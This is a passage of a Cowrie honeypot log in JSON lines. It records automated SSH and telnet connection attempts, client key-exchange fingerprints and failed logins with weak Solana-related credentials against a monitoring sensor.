dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:00:25.257926Z","src_ip":"2.57.122.96","session":"2df766c97133","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"admin123","message":"login attempt [sol/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:00:25.650881Z","src_ip":"2.57.122.96","session":"2df766c97133","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:00:26.756533Z","src_ip":"2.57.122.96","session":"2df766c97133","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.37.83.79","src_port":48352,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb99dc6e0a8d","protocol":"telnet","message":"New connection: 101.37.83.79:48352 (159.203.135.109:23) [session: eb99dc6e0a8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:00:33.933579Z"}
{"eventid":"cowrie.session.closed","duration":32.85328245162964,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:00:36.577499Z","src_ip":"101.37.83.79","session":"eb849304da77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.37.83.79","src_port":41394,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f27d1631f55","protocol":"telnet","message":"New connection: 101.37.83.79:41394 (159.203.135.109:23) [session: 3f27d1631f55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:00:53.185565Z"}
{"eventid":"cowrie.session.closed","duration":35.27568054199219,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:01:09.209142Z","src_ip":"101.37.83.79","session":"eb99dc6e0a8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.23524570465088,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:01:24.420654Z","src_ip":"101.37.83.79","session":"3f27d1631f55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.37.83.79","src_port":58128,"dst_ip":"159.203.135.109","dst_port":23,"session":"879b525db2ac","protocol":"telnet","message":"New connection: 101.37.83.79:58128 (159.203.135.109:23) [session: 879b525db2ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:01:33.752290Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.37.83.79","src_port":58142,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa14eaf50557","protocol":"telnet","message":"New connection: 101.37.83.79:58142 (159.203.135.109:23) [session: aa14eaf50557]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:01:35.614934Z"}
{"eventid":"cowrie.session.closed","duration":32.9757297039032,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:02:06.727885Z","src_ip":"101.37.83.79","session":"879b525db2ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.37.83.79","src_port":37540,"dst_ip":"159.203.135.109","dst_port":23,"session":"64379493b0d0","protocol":"telnet","message":"New connection: 101.37.83.79:37540 (159.203.135.109:23) [session: 64379493b0d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:02:08.751004Z"}
{"eventid":"cowrie.session.closed","duration":34.5252206325531,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:02:10.140035Z","src_ip":"101.37.83.79","session":"aa14eaf50557","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.37.83.79","src_port":55786,"dst_ip":"159.203.135.109","dst_port":23,"session":"23ee41e00905","protocol":"telnet","message":"New connection: 101.37.83.79:55786 (159.203.135.109:23) [session: 23ee41e00905]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:02:17.528716Z"}
{"eventid":"cowrie.session.closed","duration":33.43186545372009,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:02:42.182767Z","src_ip":"101.37.83.79","session":"64379493b0d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.66841983795166,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:02:50.196985Z","src_ip":"101.37.83.79","session":"23ee41e00905","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":46922,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1f587a62ee2","protocol":"ssh","message":"New connection: 2.57.122.208:46922 (159.203.135.109:22) [session: c1f587a62ee2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:02:55.313595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:02:55.375593Z","src_ip":"2.57.122.208","session":"c1f587a62ee2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:02:55.506302Z","src_ip":"2.57.122.208","session":"c1f587a62ee2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:02:55.974804Z","src_ip":"2.57.122.208","session":"c1f587a62ee2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:02:57.077747Z","src_ip":"2.57.122.208","session":"c1f587a62ee2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":46212,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4123d6ec42b","protocol":"ssh","message":"New connection: 2.57.122.96:46212 (159.203.135.109:22) [session: e4123d6ec42b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:03:14.303786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:03:14.317148Z","src_ip":"2.57.122.96","session":"e4123d6ec42b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:03:14.426828Z","src_ip":"2.57.122.96","session":"e4123d6ec42b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"root","message":"login attempt [sol/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:03:14.869820Z","src_ip":"2.57.122.96","session":"e4123d6ec42b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:03:15.976451Z","src_ip":"2.57.122.96","session":"e4123d6ec42b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":44642,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab354c37f3b3","protocol":"ssh","message":"New connection: 2.57.122.208:44642 (10.17.0.5:22) [session: ab354c37f3b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:03:30.748057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:03:30.783297Z","src_ip":"2.57.122.208","session":"ab354c37f3b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:03:30.880775Z","src_ip":"2.57.122.208","session":"ab354c37f3b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:03:31.328456Z","src_ip":"2.57.122.208","session":"ab354c37f3b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:03:32.472539Z","src_ip":"2.57.122.208","session":"ab354c37f3b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.37.83.79","src_port":33934,"dst_ip":"159.203.135.109","dst_port":23,"session":"b72a5b051665","protocol":"telnet","message":"New connection: 101.37.83.79:33934 (159.203.135.109:23) [session: b72a5b051665]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:03:54.574357Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.37.83.79","src_port":44536,"dst_ip":"159.203.135.109","dst_port":23,"session":"e05ab61356f5","protocol":"telnet","message":"New connection: 101.37.83.79:44536 (159.203.135.109:23) [session: e05ab61356f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:03:58.981035Z"}
{"eventid":"cowrie.session.closed","duration":33.13998627662659,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:04:27.714218Z","src_ip":"101.37.83.79","session":"b72a5b051665","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.58688807487488,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:04:31.567785Z","src_ip":"101.37.83.79","session":"e05ab61356f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.37.83.79","src_port":42498,"dst_ip":"159.203.135.109","dst_port":23,"session":"68a19a60c445","protocol":"telnet","message":"New connection: 101.37.83.79:42498 (159.203.135.109:23) [session: 68a19a60c445]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:04:32.741970Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.37.83.79","src_port":58502,"dst_ip":"159.203.135.109","dst_port":23,"session":"884c8c755a9a","protocol":"telnet","message":"New connection: 101.37.83.79:58502 (159.203.135.109:23) [session: 884c8c755a9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:05:00.099260Z"}
{"eventid":"cowrie.session.closed","duration":33.039175510406494,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:05:05.781029Z","src_ip":"101.37.83.79","session":"68a19a60c445","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.37.83.79","src_port":58514,"dst_ip":"159.203.135.109","dst_port":23,"session":"e857466c8ca8","protocol":"telnet","message":"New connection: 101.37.83.79:58514 (159.203.135.109:23) [session: e857466c8ca8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:05:06.871201Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":39558,"dst_ip":"159.203.135.109","dst_port":22,"session":"f67d21de372f","protocol":"ssh","message":"New connection: 2.57.122.208:39558 (159.203.135.109:22) [session: f67d21de372f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:05:16.216314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:05:16.238050Z","src_ip":"2.57.122.208","session":"f67d21de372f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:05:16.418078Z","src_ip":"2.57.122.208","session":"f67d21de372f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:05:16.911125Z","src_ip":"2.57.122.208","session":"f67d21de372f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:05:18.164829Z","src_ip":"2.57.122.208","session":"f67d21de372f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.915642976760864,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:05:33.014754Z","src_ip":"101.37.83.79","session":"884c8c755a9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.12102293968201,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:05:38.992101Z","src_ip":"101.37.83.79","session":"e857466c8ca8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.37.83.79","src_port":57750,"dst_ip":"159.203.135.109","dst_port":23,"session":"e80bd9d61973","protocol":"telnet","message":"New connection: 101.37.83.79:57750 (159.203.135.109:23) [session: e80bd9d61973]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:05:43.617476Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":57900,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab5bd44b8cba","protocol":"ssh","message":"New connection: 2.57.122.208:57900 (10.17.0.5:22) [session: ab5bd44b8cba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:05:51.549621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:05:51.610205Z","src_ip":"2.57.122.208","session":"ab5bd44b8cba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:05:51.711081Z","src_ip":"2.57.122.208","session":"ab5bd44b8cba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:05:52.345441Z","src_ip":"2.57.122.208","session":"ab5bd44b8cba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:05:53.488100Z","src_ip":"2.57.122.208","session":"ab5bd44b8cba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":54186,"dst_ip":"159.203.135.109","dst_port":22,"session":"15bb11c08a09","protocol":"ssh","message":"New connection: 2.57.122.96:54186 (159.203.135.109:22) [session: 15bb11c08a09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:06:12.807235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:06:12.810245Z","src_ip":"2.57.122.96","session":"15bb11c08a09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-d